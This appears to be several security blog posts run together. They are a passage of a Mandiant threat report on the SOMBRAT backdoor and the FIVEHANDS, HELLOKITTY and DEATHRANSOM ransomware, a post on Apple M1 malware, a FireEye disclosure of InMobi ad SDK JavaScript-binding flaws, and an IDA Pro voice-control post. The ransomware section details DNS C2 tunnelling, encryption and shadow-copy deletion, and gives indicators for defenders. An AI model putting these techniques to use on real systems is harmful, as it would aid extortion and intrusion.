Finally, the `debuglog` plugin supports a single command to records debug messages.
Given that the core plugins do not enable an operator directly execute arbitrary commands or reconfigure the system, the primary function of the SOMBRAT backdoor is to load plugins provided via the C2 server.
These plugins may be shellcode or DLL modules to be dynamically loaded.
The C2 server may instruct the backdoor to load the plugins directly or persist them into the encrypted storage file, where they may subsequently be reloaded, such as after upgrading the backdoor.
Figure 2:
Malware author mark “No one is perfect except me.”
SOMBRAT evades forensic analysis by patching the process memory used to record command line arguments.
It replaces the initial command line with the base filename of the program executable, removing any arguments.
This means that investigators that inspect a process listing via memory forensics will see the innocuous-looking command line `powershell.exe` rather than references to the uncommon filename such as `WwanSvc.c`.
SOMBRAT Network Communications The SOMBRAT backdoor can communicate with its C2 server using both DNS and a proxy-aware, TLS-encrypted stream protocol.
By default, the backdoor uses the DNS protocol; however, this can be reconfigured by the C2 server.
Mandiant observed the domains feticost[.
]com and celomito[.
]com used for DNS C2 communications.
When the backdoor communicates via its DNS protocol, it constructs and resolves FQDNs, interpreting the DNS results to extract C2 messages.
The authoritative DNS server embeds data within the IP address field of DNS A record results and within the Name Administrator field of DNS TEXT record results.
By making many requests to unique subdomains of the C2 domain, the backdoor can slowly transmit information a few bytes at a time.
Ransomware Similarities Beginning in October 2020, Mandiant observed samples of a customized version of DEATHRANSOM.
This newly modified version removed the language check feature (Figure 3 shows the language check of DEATHRANSOM).
Figure 3:
Language check from Fortinet blog HELLOKITTY ransomware—used to target Polish video game developer CD Projekt Red—is reportedly built from DEATHRANSOM.
HELLOKITTY is named after a mutex named ‘HELLOKITTYMutex,’ used when the malware executable is launched (see Figure 4).
Figure 4: HELLOKITTY mutex shown in Process Explorer CEMIG (Companhia Energética de Minas Gerais), a Brazilian electric power company, revealed on Facebook in late December 2020 that it was a victim of HELLOKITTY cyber attack .
In January 2021, Mandiant observed a new ransomware deployed against a victim and assigned the name FIVEHANDS.
Analysis of FIVEHANDS revealed high similarity to DEATHRANSOM, sharing several features, functions, and coding similarities.
Absent in FIVEHANDS is a language check, similar to HELLOKITTY Both DEATHRANSOM and FIVEHANDS drops a ransom note in all non-excluded directories Technical Comparison of FIVEHANDS, HELLOKITTY and DEATHRANSOM DEATHRANSOM is written in C while the other two families are written in C++.
DEATHRANSOM uses a distinct series of do/while loops to enumerate through network resources, logical drives, and directories.
It also uses QueueUserWorkItem to implement thread pooling for its file encryption threads.
HELLOKITTY is written in C++, but reimplements a significant portion of DEATHRANSOM's functionality using similar loop operations and thread pooling via QueueUserWorkItem.
The code structure to enumerate network resources, logical drives, and perform file encryption is very similar.
Additionally, HELLOKITTY and DEATHRANSOM share very similar functions to check for the completion status of their encryption threads before exiting.
FIVEHANDS is written in C++ and although high level functionality is similar, the function calls and code structure to implement the majority of the functionality is written differently.
Also, instead of executing threads using QueueUserWorkItem, FIVEHANDS uses IoCompletionPorts to more efficiently manage its encryption threads.
FIVEHANDS also uses more functionality from the C++ standard template library (STL) than does HELLOKITTY.
Deletion of Volume Shadow Copies DEATHRANSOM, HELLOKITTY, and FIVEHANDS use the same code to delete volume shadow copies via WMI by performing the query select * from Win32_ShadowCopy and then deleting each instance returned by its id.
Encryption Operations Each of these three malware families utilizes a similar encryption scheme.
An asymmetric public key is either hard-coded or generated.
A unique symmetric key is generated for each encrypted file.
After each file is encrypted, the asymmetric key will encrypt the symmetric key and append it to the encrypted file.
Additionally, a unique four byte magic value is appended to the end of the encrypted file.
The malware checks for these magic bytes to ensure it does not encrypt a previously encrypted file again.
DEATHRANSOM and HELLOKITTY implement the file encryption operations using a very similar code structure and flow.
FIVEHANDS implements its file encryption with a differing code structure and uses different embedded encryption libraries.
In addition to the symmetric key, HELLOKITTY and FIVEHANDS also encrypts file metadata with the public key and appends this to the encrypted file.
DEATHRANSOM generates an RSA key pair while HELLOKITTY and FIVEHANDS use an embedded RSA or NTRU public key.
DEATHRANSOM Encryption DEATHRANSOM creates an RSA-2048 public and private key pair.
Using an Elliptic-curve Diffie–Hellman (ECDH) routine implemented with Curve25519, it computes a shared secret using two input values: 1) 32 random bytes from a RtlGenRandom call and 2) a hardcoded 32 byte value (attacker's public key).
It also create a Curve25519 public key.
The shared secret is SHA256 hashed and used as the key to Salsa20 encrypt the RSA public and private keys.
The RSA public key is used to encrypt the individual symmetric keys that are used to encrypt each file.
A Base64 encoded version of the encrypted RSA keys and the victim’s Curve25519 public key is included in the ransom note, providing the threat actors the information needed to decrypt the victim's files.
For the symmetric key, DEATHRANSOM calls RtlGenRandom to generate 32 random bytes.
This is the 32 byte key used to AES encrypt each file.
After the file is encrypted, the AES key is encrypted with the public RSA key and appended to the file.
DEATHRANSOM lastly appends the four magic bytes of AB CD EF AB at the end of the encrypted file and uses this as a check to ensure that it does not encrypt an already encrypted file.
The analyzed DEATHRANSOM sample used for comparison does not change the file extension.
HELLOKITTY Encryption HELLOKITTY contains an embedded RSA-2048 public key.
This public key is SHA256 hashed and used as the victim ID within the ransom note.
This RSA pubic key is also used to encrypt each file's symmetric key.
For the symmetric key, HelloKitty generates a 32 byte seed value based on the CPU timestamp.
A Salsa20 key is generated and encrypts a second 32 byte seed value.
The encrypted result is XOR’d with the first seed, resulting in a 32 byte key used to AES encrypt each file.
After each file is encrypted, the original file size, magic value of DE C0 AD BA, and AES key are encrypted with the public RSA key and appended to the file.
HELLOKITTY and FIVEHANDS appends this additional metadata to the encrypted file, while DEATHRANSOM does not.
Lastly it appends the four magic bytes DA DC CC AB to the end of the encrypted file.
Depending on the version, HELLOKITTY may or may not change the file extension.
Other samples of HELLOKITTY have used an embedded NTRU public key instead of RSA.
FIVEHANDS Encryption FIVEHANDS uses an embedded NTRU public key.
This NTRU key is SHA512 hashed and the first 32 bytes are used as the victim ID within the ransom note.
This NTRU pubic key is also used to encrypt each file's symmetric key.
For the symmetric key, FIVEHANDS uses an embedded generation routine to produce 16 random bytes used for an AES key to encrypt each file.
After each file is encrypted, the original file size, magic value of DE C0 AD BA, and AES key are encrypted with the public NTRU key and appended to the file.
The four magic bytes DB DC CC AB are appended to the end of the encrypted file.
FIVEHANDS includes additional code not found in DEATHRANSOM and HELLOKITTY to use the Windows Restart Manager to close a file currently in use so that it can be unlocked and successfully encrypted.
The encrypted file extension is changed to .crypt  extension FIVEHANDS's encryption flow and sequence is very different from the other two, partially because it incorporates asynchronous I/O requests and uses different embedded encryption libraries.
FIVEHANDS
Encrypted Dropper One significant change between DEATHRANSOM and FIVEHANDS is the use of a memory-only dropper, which upon execution, expects a command line switch of -key followed by the key value necessary to perform decryption of its payload.
The payload is stored and encrypted with AES-128 using an IV of “85471kayecaxaubv”.
The decrypted FIVEHANDS payload is immediately executed after decryption.
To date, Mandiant has only observed encrypted droppers with a common imphash of 8517cf209c905e801241690648f36a97.
CLI arguments FIVEHANDS can receive a CLI argument for a path, this limits the ransomware's file encryption activities to the specified directory.
DEATHRANSOM and HELLOKITTY do not accept CLI arguments.
Locale and Mutex checks DEATHRANSOM performs language ID and keyboard layout checks.
If either of these match Russian, Kazakh, Belarusian, Ukrainian or Tatar it exits.
Neither HELLOKITTY or FIVEHANDS perform language ID or keyboard checks.
HELLOKITTY performs a mutex check while the other two do not perform mutex checks.
File Exclusions DEATHRANSOM and HELLOKITTY both exclude the same directories and files: programdata, $recycle.bin, program files, windows, all users, appdata, read_me.txt, autoexec.bat, desktop.ini, autorun.inf, ntuser.dat, iconcache.db, bootsect.bak, boot.ini, ntuser.dat.log, or thumbs.db.
The exclusions for FIVEHANDS are more extensive and contain additional files and directories to ignore.
Additional Differences DEATHRANSOM makes an external HTTPS connection to download a file.
Neither HELLOKITTY or FIVEHANDS initiate network connections.
HELLOKITTY contains code to set the victims wallpaper to a ransom related image.
The other samples do not have this functionality Different versions of DEATHRANSOM and HELLOKITTY are known to change the file extension Different versions of HELLOKITTY are known to check for specific processes to terminate.
Feature FIVEHANDS HELLOKITTY DEATHRANSOM Programming Language C++ C++ C Symmetric Encryption AES 128 AES 256 AES 256 Asymmetric Encryption Embedded NTRU Key Embedded RSA or NTRU Key Curve25519 ECDH and RSA key creation Same directory and file name exclusions
No Yes Yes Accepts CLI Arguments
Yes
No No Network Connections
No
No
Yes Locale Check
No
No Yes
Mutex Check
No Yes No Bytes Appended to Encrypted Files DB DC CC AB DA DC CC AB AB CD EF AB Table 1: Ransomware feature comparison Conclusion Mandiant observed SOMBRAT and FIVEHANDS ransomware by the same group since January 2021.
While similarities between HELLOKITTY and FIVEHANDS are notable, ransomware may be used by different groups through underground affiliate programs.
Mandiant will assign an uncategorized cluster based on multiple factors including infrastructure used during intrusions and as such, not all SOMBRAT or FIVEHANDS ransomware intrusions may have been conducted by UNC2447.
WARPRISM and FOXGRABBER have been used in SUNCRYPT and DARKSIDE ransomware demonstrating additional complexity and sharing between different ransomware affiliate programs.
Indicators SOMBRAT
UNC2447 87c78d62fd35bb25e34abb8f4caace4a 6382d48fae675084d30ccb69b4664cbb
(31dcd09eb9fa2050aadc0e6ca05957bf unxored)
SOMBRAT Launcher cf1b9284d239928cce1839ea8919a7af (wwansvc.a XOR key) 4aa3eab3f657498f52757dc46b8d1f11 (wwansvc.c) 1f6495ea7606a15daa79be93070159a8 (wwansvc.bat) 31dcd09eb9fa2050aadc0e6ca05957bf (wwansvc.b) edf567bd19d09b0bab4a8d068af15572 (wwansvc.b) a5b26931a1519e9ceda04b4c997bb01f (wwansvc.txt) f0751bef4804fadfe2b993bf25791c49 (4aa3eab3f657498f52757dc46b8d1f11 unxored) 87c78d62fd35bb25e34abb8f4caace4a (edf567bd19d09b0bab4a8d068af15572 unxored)
SOMBRAT domains Celomito[.
]com (unc2447) Feticost[.
]com
(unc2447) Cosarm[.
]com
Portalcos[.
]com FIVEHANDS 39ea2394a6e6c39c5d7722dc996daf05
f568229e696c0e82abb35ec73d162d5e FIVEHANDS Encrypted Dropper 6c849920155f48d4b4aafce0fc49eb5b 22d35005e926fe29379cb07b810a6075 57824214710bc0cdb22463571a72afd0 87c0b190e3b4ab9214e10a2d1c182153 1b0b9e4cddcbcb02affe9c8124855e58
46ecc24ef6d20f3eaf71ff37610d57d1 1a79b6d169aac719c9323bc3ee4a8361 a64d79eba40229ae9aaebbd73938b985 HELLOKITTY 136bd70f7aa98f52861879d7dca03cf2 06ce6cd8bde756265f95fcf4eecadbe9 af568e8a6060812f040f0cb0fd6f5a7b d96adf82f061b1a6c80699364a1e3208 DEATHRANSOM c50ab1df254c185506ab892dc5c8e24b WARPRISM c925822c6d5175c30ba96388b07e9e16 (unc2447)
c171bcd34151cbcd48edbce13796e0ed d87fcd8d2bf450b0056a151e9a116f72 f739977004981fbe4a54bc68be18ea79 e18b27f75c95b4d50bfcbcd00a5bd6c5 df6e6b3e53cc713276a03cce8361ae0f 1cd03c0d00f7bfa7ca73f7d73677d8f8 8071f66d64395911a7aa0d2057b9b00d c12a96e9c50db5f8b0b3b5f9f3f134f0 e39184eacba2b05aaa529547abf41d2b 09a05a2212bd2c0fe0e2881401fbff17 8226d7615532f32eca8c04ac0d41a9fd a01a2ba3ae9f50a5aa8a5e3492891082 29e53b32d5b4aae6d9a3b3c81648653c a809068b052bc209d0ab13f6c5c8b4e7
BEACON UNC2447 64.227.24[.
]12 Havex Profile January 2021 157.230.184[.
]142  chches_
APT10 Profile November 2020-January 2021 74c688a22822b2ab8f18eafad2271cac 7d6e57cbc112ebd3d3c95d3c73451a38 FOXGRABBER 4d3d3919dda002511e03310c49b7b47f
FireEye Detections FireEye Network Security FireEye Email Security FireEye Detection On Demand FireEye Malware Analysis FireEye Malware File Protect FIVEHANDS FE_Loader_Win32_Generic_162
FE_Ransomware_Win32_FIVEHANDS_1 Malware.
Binary.exe
Ransomware.
Win.
Generic.
MVX SOMBRAT FE_Backdoor_Win64_SOMBRAT_1
Backdoor.
Win.
SOMBRAT
Malware.
Binary.exe Backdoor.
Win.
SOMBRAT.MVX FEC_Trojan_PS1_Generic_7 FEC_Trojan_PS1_Generic_8 FEC_Trojan_BAT_Generic_5 HELLOKITTY Ransomware.
Win.
Generic.
MVX Malware.
Binary.exe Ransomware.
Win.
HELLOKITTY.MVX FE_Ransomware_Win_HELLOKITTY_1 FE_Ransomware_Win32_HELLOKITTY_1 DEATHRANSOM
FE_Loader_Win32_Generic_92 Ransomware.
Win.
Generic.
MVX Malware.
Binary.exe BEACON FE_Loader_Win32_BLUESPINE_1 Backdoor.
BEACON Malware.
Binary.exe WARPRISM FE_Loader_PS1_WARPRISM_1 FEC_Loader_PS1_WARPRISM_1
Backdoor.
BEACON Trojan.
Generic Trojan.
Win.
SYSTEMBC Backdoor.
Meterpreter Loader.
PS1.WARPRISM.MVX Malware.
Binary.exe Malware.
Binary.ps1 FOXGRABBER FE_Tool_MSIL_FOXGRABBER_1 FE_Trojan_MSIL_Generic_109 FireEye EndPoint Security Real-Time (IOC) SOMBRAT (BACKDOOR) SUSPICIOUS POWERSHELL READ BASE64 DATA (METHODOLOGY)
FIVEHANDS RANSOMWARE (FAMILY)
DEATHRANSOM RANSOMWARE (FAMILY) HELLOKITTY RANSOMWARE (FAMILY) BEACON (FAMILY)
Malware Protection (AV/MG)
SOMBRAT Generic.mg.
87c78d62fd35bb25 Generic.mg.6382d48fae675084 Trojan.
GenericKD.45750384 Trojan.
GenericKD.36367848 Generic.
PwShell.
RefA.CB5E962A FIVEHANDS
Generic.mg.39ea2394a6e6c39c Generic.mg.f568229e696c0e82 Generic.mg.6c849920155f48d4 Generic.mg.22d35005e926fe29
Generic.mg.57824214710bc0cd
Generic.mg.87c0b190e3b4ab92
Generic.mg.1b0b9e4cddcbcb02 Generic.mg.46ecc24ef6d20f3e Generic.mg.1a79b6d169aac719
Generic.mg.a64d79eba40229ae Gen:Variant.
Zusy.375932 Gen:Variant.
Zusy.366866 Trojan.
GenericKD.46059492 Trojan.
GenericKD.46059131 Trojan.
GenericKD.45996121 Trojan.
GenericKD.45702783 WARPRISM Generic.mg.a01a2ba3ae9f50a5 Trojan.
PowerShell.
Agent.
IJ Trojan.
Agent.
EXDR Trojan.
PowerShell.
Ransom.
E Trojan.
Agent.
EUKPTrojan.
GenericKD.45856129 Heur.
BZC.PZQ.Boxter.829.B5AEB7A6 Heur.
BZC.PZQ.Boxter.829.B84D01A7 Heur.
BZC.PZQ.Boxter.829.AE76D25C Trojan.
PowerShell.
Ransom.
F Dropped:Heur.
BZC.MNT.Boxter.826.0A2B3A87 Heur.
BZC.PZQ.Boxter.829.A15701BD DEATHRANSOM Generic.mg.c50ab1df254c1855 Trojan.
Ransomware.
GenericKD.35760206 HELLOKITTY Generic.mg.136bd70f7aa98f52 Generic.mg.06ce6cd8bde75626
Generic.mg.af568e8a6060812f Generic.mg.d96adf82f061b1a6 Generic.
Malware.
PfVPk!12.299C21F3 Gen:Variant.
Ransom.
HelloKitty.1 Generic.
Malware.
PfVPk!12.606CCA24 Generic.
Malware.
PfVPk!12.1454636C
BEACON Generic.mg.74c688a22822b2ab Generic.mg.7d6e57cbc112ebd3 Trojan.
Agent.
DDSN MITRE
ATT&CK Tactic Description Initial Access T1078 Valid Accounts Execution T1047 Windows Management Instrumentation T1053.005 Scheduled Task / Job: Scheduled Task T1059.001 Command and Scripting Interpreter: PowerShell
T1106 Execution through API Defense Evasion T1045 Software Packing T1055 Process Injection T1140
Deobfuscate / Decode Files or Information Discovery T1012 Query Registry T1046 Network Service Scanning T1057 Process Discovery T1082
System Information Discovery T1124 System Time Discovery T1135 Network Share Discovery Collection T1560.003 Archive Collected Data: Archive via Custom Method Impact T1485 Data Destruction T1486 Data Encrypted for Impact T1490 Inhibit System Recovery Command and Control T1071.001 Application Layer Protocol: Web Protocols T1090.002 Proxy:
External Proxy T1572  Protocol
Tunneling T1573.002 Encrypted Channel: Asymmetric Cryptography Exfiltration T1041 Exfiltration over C2 Channel Acknowledgements Thanks to Nick Richard for technical review, Genevieve Stark and Kimberly Goody for analytical contributions, and Jon Erickson, Jonathan Lepore, and Stephen Eckels for analysis incorporated into this blog post.
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A few months ago, Apple unveiled three series of computers powered by its own M1 chip, designed to replace Intel’s processors.
The chips are notable for being based on the ARM architecture instead of the x86 architecture traditionally used in personal computers.
In essence, the Apple M1 is a direct relative of the iPhone and iPad processors.
If everything goes according to plan, Apple will be able to switch completely to its own processors and unify its software under a single architecture.
Leaving aside the current pros and cons performance-wise, we took a look at the innovation from a security perspective.
Bad news: Just a few months after the release of the first Apple M1 computers, virus writers had already adapted several malware families to the new processor.
What makes Apple M1 malware unique?
In terms of malicious functionality, absolutely nothing distinguishes M1 malware from “regular” malware.
It can run natively on Mac computers with M1 chips, that’s the difference.
Developers recompiled their code and adapted the malware to the new architecture to make it work more efficiently.
Essentially, the M1 adaptation drive is just more evidence that virus writers are motivated to keep their creations up to date.
Does that mean old malware doesn’t work on computers with the Apple M1?
Unfortunately, malware adapted for M1 is an addition, not merely a replacement.
Apple uses the Rosetta 2 system to make the transition from one platform to another seamless.
Roughly speaking, it translates old program code written for the Intel x86 series into a form that the M1 can digest.
Rosetta doesn’t distinguish legitimate programs from malicious ones; it runs x86 malware as readily as any other app.
But it is always more convenient to work without an intermediary, which is why some virus writers adapted their handiwork for the Apple M1.
Are older computers immune to M1 malware?
The new malicious programs for the Apple M1 are not fundamentally new; they’re modifications of old ones.
Cybercriminals tend to release the updated versions in a hybrid format, compatible with both platforms.
How many varieties of M1 malware are out there?
Our researchers have reliably identified four families already adapted for the M1.
The first, known as XCSSET, infects Xcode projects and allows attackers to do all kinds of nasty stuff on the victim’s Mac.
The second is Silver Sparrow, which recently made a media splash and is spreading far faster than the first.
The third and fourth known M1-malware varieties are adware from the Pirrit and Bnodlero families.
Hardcore techies can check out our technical breakdown of all four families.
How can you guard against M1 malware?
Probably the most important advice for Mac users is not to become complacent just because Apple devices are supposedly safer than others, and to adhere to all the usual rules of digital hygiene: Do not follow suspicious links; Do not download suspicious files or apps; Do not install apps from untrusted sources; Use reliable security solutions that detect and neutralize this new breed of malware pests.
Third-party libraries, especially ad libraries, are widely used in Android apps.
Unfortunately, many of them have security and privacy issues.
In this blog, we summarize our findings related to the insecure usage of JavaScript binding in ad libraries.
First, we describe a widespread security issue with using JavaScript binding ( addJavascriptInterface ) and loading WebView content over HTTP, which allows a network attacker to take control of the application by hijacking the HTTP traffic.
We call this the JavaScript-Binding-Over-HTTP (JS-Binding-Over-HTTP) vulnerability.
Our analysis shows that, currently, at least 47 percent of the top 40 ad libraries have this vulnerability in at least one of their versions that are in active use by popular apps on Google Play.
Second, we describe a new security issue with the JavaScript binding annotation, which we call JavaScript Sidedoor.
Starting with Android 4.2, Google introduced the @JavascriptInterface annotation to explicitly designate and limit which public methods in Java objects are accessible from JavaScript.
If an ad library uses @JavascriptInterface annotation to expose security-sensitive interfaces, and uses HTTP to load content in the WebView, then an attacker over the network could inject malicious content into the WebView to misuse the exposed interfaces through the JS binding annotation.
We call these exposed JS binding annotation interfaces JS sidedoors .
Our analysis shows that these security issues are widespread, have affected popular apps on Google Play accounting for literally billions of app downloads.
The parties we notified about these issues have been actively addressing them.
Security Issues with JavaScript Binding over HTTP Android uses the JavaScript binding method addJavascriptInterface to enable JavaScript code running inside a WebView to access the app’s Java methods.
However, it is widely known that this feature, if not used carefully, presents a potential security risk when running on Android 4.1 or below.
As noted by Google: “Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application.”
[ 1 ] In particular, if an app running on Android 4.1 or below uses the JavaScript binding method addJavascriptInterface and loads the content in the WebView over HTTP, then an attacker over the network could hijack the HTTP traffic, e.g., through WiFi or DNS hijacking, to inject malicious content into the WebView – and thus take control over the host application.
We call this the JavaScript-Binding-Over-HTTP (JS-Binding-Over-HTTP) vulnerability.
If an app containing such vulnerability has sensitive Android permissions such as access to the camera, then a remote attacker could exploit this vulnerability to perform sensitive tasks such as taking photos or record video in this case, over the Internet, without a user’s consent.
We have analyzed the top 40 third-party ad libraries (not including Google Ads) used by Android apps.
Among the apps with over 100,000 downloads each on Google Play, over 42 percent of the free apps currently contain at least one of these top ad libraries.
The total download count of such apps now exceeds 12.4 billion.
From our analysis, at least 47 percent of these top 40 ad libraries have at least one version of their code in active use by popular apps on Google Play, and contain the JS-Binding-Over-HTTP vulnerability.
As an example, InMobi versions 2.5.0 and above use the JavaScript binding method addJavascriptInterface and load content in the WebView using HTTP.
Security Issues with JavaScript Binding Annotation Starting with Android 4.2, Google introduced the @JavascriptInterface annotation to explicitly designate and limit which public Java methods in the app are accessible from JavaScript running inside a WebView.
However, note that the @JavascriptInterface annotation does not provide any protection for devices using Android 4.1 or below, which is still running on more than 80 percent of Android devices worldwide.
We discovered a new class of security issues, which we call JavaScript Sidedoor ( JS sidedoor ), in ad libraries.
If an ad library uses the @JavascriptInterface annotation to expose security-sensitive interfaces, and uses HTTP to load content in the WebView, then it is vulnerable to attacks where an attacker over the network (e.g., via WIFI or DNS hijacking) could inject malicious content into the WebView to misuse the interfaces exposed through the JS binding annotation.
We call these exposed JS binding annotation interfaces JS sidedoors .
For example, starting with version 3.6.2, InMobi added the @JavascriptInterface JS binding annotation.
The list of exposed methods through the JS binding annotation in InMobi includes: createCalendarEvent (version 3.7.0 and above) makeCall (version 3.6.2 and above) postToSocial (version 3.7.0 and above) sendMail
(version 3.6.2 and above) sendSMS (version 3.6.2 and above) takeCameraPicture
(version 3.7.0 and above)
getGalleryImage (version 3.7.0 and above) registerMicListener (version 3.7.0 and above) InMobi also provides JavaScript wrappers to these methods in the JavaScript code served from their ad servers, as shown in Appendix A. InMobi also loads content in the WebView using HTTP.
If an app has the Android permission CALL_PHONE, and is using InMobi versions 3.6.2 to 4.0.2, an attacker over the network (for example, using Wi-Fi or DNS hijacking) could abuse the makeCall annotation in the app to make phone calls on the device without a user’s consent – including to premium numbers.
In addition, without requiring special Android permissions in the host app, attackers over the network, via HTTP or DNS hijacking, could also misuse the aforementioned exposed methods to misguide the user to post to the user’s social network from the device ( postToSocial in version 3.7.0 and above), send email to any designated recipient with a pre-crafted title and email body ( sendMail in version 3.6.2 and above), send SMS to premium numbers ( sendSMS in version 3.6.2 and above), create calendar events on the device ( createCalendarEvent in version 3.7.0 and above), and to take pictures and access the photo gallery on the device ( takeCameraPicture and getGalleryImage in version 3.7.0 and above).
To complete these actions, the user would need to click on certain consent buttons.
However, as generally known, users are quite vulnerable to social engineering attacks through which attackers could trick users to give consent.
We have identified more than 3,000 apps on Google Play that contain versions 2.5.0 to 4.0.2 of InMobi – and which have over 100,000 downloads each as of December, 2013.
Currently, the total download count for these affected apps is greater than 3.7 billion .
We have informed both Google and InMobi of our findings, and they have been actively working to address them.
New InMobi Update after FireEye Notification After we notified the InMobi vendor about these security issues, they promptly released new SDK versions 4.0.3 and 4.0.4.
The 4.0.3 SDK, marked as “Internal release”, was superseded by 4.0.4 after one day.
The 4.0.4 SDK made the following changes:
Changed its method exposed through annotation for making phone calls ( makeCall ) to require user’s consent.
Added a new storePicture interface to download and save specified files from the Internet to the user’s Downloads folder.
Despite the name, it can be used for any file, not just images.
Compared with InMobi’s earlier versions, we consider change No.
1 as an improvement that addresses the aforementioned issue of an attacker making phone calls without a user’s consent.
We are glad to see that InMobi made this change after our notification.
InMobi recently released a new SDK version 4.1.0.
Compared with SDK version 4.0.4, we haven't seen any changes to JS Binding usage from a security perspective in this new SDK version 4.1.0.
Moving Forward:
Improving Security for JS Binding in Third-party Libraries In summary, the insecure usage of JS Binding and JS Binding annotations in third-party libraries exposes many apps that contain these libraries to security risks.
App developers and third-party library vendors often focus on new features and rich functionalities.
However, this needs to be balanced with a consideration for security and privacy risks.
We propose the following to the mobile application development and library vendor community: Third-party library vendors need to explicitly disclose security-sensitive features in their privacy policies and/or their app developer SDK guides.
Third-party library vendors need to educate the app developers with information, knowledge, and best practices regarding security and privacy when leveraging their SDK.
App developers need to use caution when leveraging third-party libraries, apply best practices on security and privacy, and in particular, avoid misusing vulnerable APIs or packages.
When third-party libraries use JS Binding, we recommend using HTTPS for loading content.
Since customers may have different requirements regarding security and privacy, apps with JS-Binding-Over-HTTP vulnerabilities and JS sidedoors can introduce risks to security-sensitive environments such as enterprise networks.
FireEye Mobile Threat Prevention provides protection to our customers from these kinds of security threats.
Acknowledgement We thank our team members Adrian Mettler and Zheng Bu for their help in writing this blog.
Appendix A: JavaScript Code Snippets Served from InMobi Ad Servers a.takeCameraPicture = function () { utilityController.takeCameraPicture() }; a.getGalleryImage = function () { utilityController.getGalleryImage() }; a.makeCall = function (f) { try { utilityController.makeCall(f) } catch (d) { a.showAlert(\"makeCall: \" + d) } }; a.sendMail = function (f, d, b) { try { utilityController.sendMail(f, d, b) } catch (c) { a.showAlert(\"sendMail: \" + c) } }; a.sendSMS = function (f, d) { try { utilityController.sendSMS(f, d) } catch (b) { a.showAlert(\"sendSMS: \" + b) } }; a.postToSocial = function (a, c, b, e) { a = parseInt(a); isNaN(a) && window.mraid.broadcastEvent(\"error\", \"socialType must be an integer\", \"postToSocial\"); \"string\" !
=
typeof c && (c = \"\"); \"string\" !
=
typeof b && (b = \"\"); \"string\" !
=
typeof e && (e = \"\"); utilityController.postToSocial(a, c, b, e) }; a.createCalendarEvent = function (a) { \"object\" !
=
typeof a && window.mraid.broadcastEvent(\"error\", \"createCalendarEvent method expects parameter\", \"createCalendarEvent\"); \"string\" !
=
typeof a.start || \"string\" !
= typeof a.end ?
window.mraid.broadcastEvent(\"error\", \"createCalendarEvent method expects  string parameters for start and end dates\", \"createCalendarEvent\") : (\"string\" !=
typeof a.location && (a.location = \"\"), \"string\" !
=
typeof a.description && (a.description = \"\"), utilityController.createCalendarEvent(a.start, a.end, a.location, a.description)) }; a.registerMicListener=function() { utilityController.registerMicListener() }; Subscribe to Blogs Get email updates as new blog posts are added.
Introduction This blog post is the next episode in the FireEye Labs Advanced Reverse Engineering (FLARE) team Script Series.
Today, we are sharing something quite unusual.
It is not a tool or a virtual machine distribution, nor is it a plugin or script for a popular reverse engineering tool or framework.
Rather, it is a profile created for a consumer software application completely unrelated to reverse engineering or malware analysis… until now.
The software is named VoiceAttack , and its purpose is to make it easy for users to control other software on their computer using voice commands.
With FLARE’s new profile for VoiceAttack , users can completely control IDA Pro with their voice!
Have you ever dreamed of telling IDA Pro to decompile a function or show you the strings of a binary?
Well dream no more!
Not only does our profile give you total control of the software, it also provides shortcuts and other cool features not previously available.
It’s our hope that providing voice control for the world’s most popular disassembler will further empower users with repetitive stress injuries or disabilities to more effectively put their reverse engineering skills to use with this new accessibility option as well as helping the community at large work more efficiently.
Check out our video demonstration of some of the features of the profile to see it in action.
&amp;amp;nbsp; How Does It Work?
Voice attack is an inexpensive software application that utilizes the Windows Speech Recognition (WSR) feature to enable the creation of user-defined, voice-activated macros.
The user specifies a key word or phrase, then defines one or more actions to be taken when that word or phrase is recognized.
The most common types of actions to be taken include key presses, mouse movement and clicks, and clipboard manipulation.
However, there are many other more advanced features available that provide a lot of flexibility to users including variables, loops, and conditionals.
You can even have the computer speak to you in response to your commands!
VoiceAttack requires an internet connection, but only during the registration process, after which the network adapter can be disabled or configured to a network that cannot reach the internet without issue.
To use VoiceAttack, you must first train Windows Speech Recognition to recognize your voice.
Instructions on how to do so can be found here .
This process only takes a few minutes at minimum, but the more time you spend training, the better the experience you will have with it.
What Does the IDA Pro Profile Provide?
FLARE’s IDA Pro profile for VoiceAttack maps every advertised keyboard shortcut in IDA Pro to a voice command.
Although this is only one part of what the profile provides, many users will find this in itself very useful.
When developing this profile, I was shocked to discover just how many keyboard shortcuts there really are for IDA Pro and what can be accomplished with them.
Some of my favorite shortcuts are found under the View->Open Subviews and Windows menus.
With this profile, I can simply say “show strings” or “show structures” or “show window x” to change the tab I am currently viewing or open a new view in a tab without having to move my mouse cursor anywhere.
The next few paragraphs describe some other useful commands to make any reverse engineer’s job easier.
For a more detailed description of the profile and commands available, see the Github page .
Macros A series of voice commands can perform multi-step actions not otherwise reachable by individual keyboard shortcuts.
For example, wouldn’t it be nice to have commands to toggle the visibility of opcode bytes (see Figure 1)?
Currently, you have to open the Options menu, select the General menu item, input a value in the Number of opcode bytes text field, and click the OK button.
Well, now you can simply say “show opcodes” or “hide opcodes” and it will be so!
Figure 1:
Configuring the number of opcode bytes to show in IDA Pro's disassembly view Defining a Unicode string in IDA Pro is a multi-step exercise, whether you navigate to the Edit->Strings menu or use the “string literals” keyboard shortcut Alt+A followed by pressing the U key as shown in Figure 2.
Now you can simply say “make Unicode string” and the work is done for you.
Figure 2: String literals dialog in IDA Pro Reversing a C++ application?
The Create struct from selection action is a very helpful feature in this case, but it requires you to navigate to the Edit->Structs menu in order to use it.
The voice command “create struct from selection” does this for you automatically.
The “look it up” command will copy the currently highlighted token in the disassembly and search Google for it using your default browser.
There are several other macros in the profile that are like this and save you a lot of time navigating menus and dialogs to perform simple actions.
Cursor Movement, Dialogs, and Navigation The cursor movement commands allow the user to move the cursor up, down, left, or right, one or more times, in specified increments.
These commands also allow for scrolling with a voice command that commences scrolling in a chosen direction, and another voice command for stopping scrolling.
There are even voice commands to set the speed of the scroll to slow, medium, or fast.
In the disassembly view, the cursor can also be moved per “word” on the current line of the disassembly or decompilation, or even per basic block or function.
Like many other applications, dialogs are a part of IDA Pro’s user interface.
The ability to easily navigate and interact with items in a dialog with your voice is essential to a smooth user experience.
Voice commands in the profile enable the user to easily click the OK or Cancel buttons, toggle checkboxes, and tab through controls in the dialog in both directions and in specified increments.
With the aid of a companion IDAPython plugin , additional navigation commands are supported.
Commands that allow the user to move the cursor to the beginning or end of the current function, to the next or previous “call” instruction, to the previous or next instruction containing the highlighted token, or to a specified number of bytes forward or backwards from the current cursor position help to make voice-controlled navigation easier.
These cursor movement and navigation commands enable users to have full control of IDA Pro without the use of their hands.
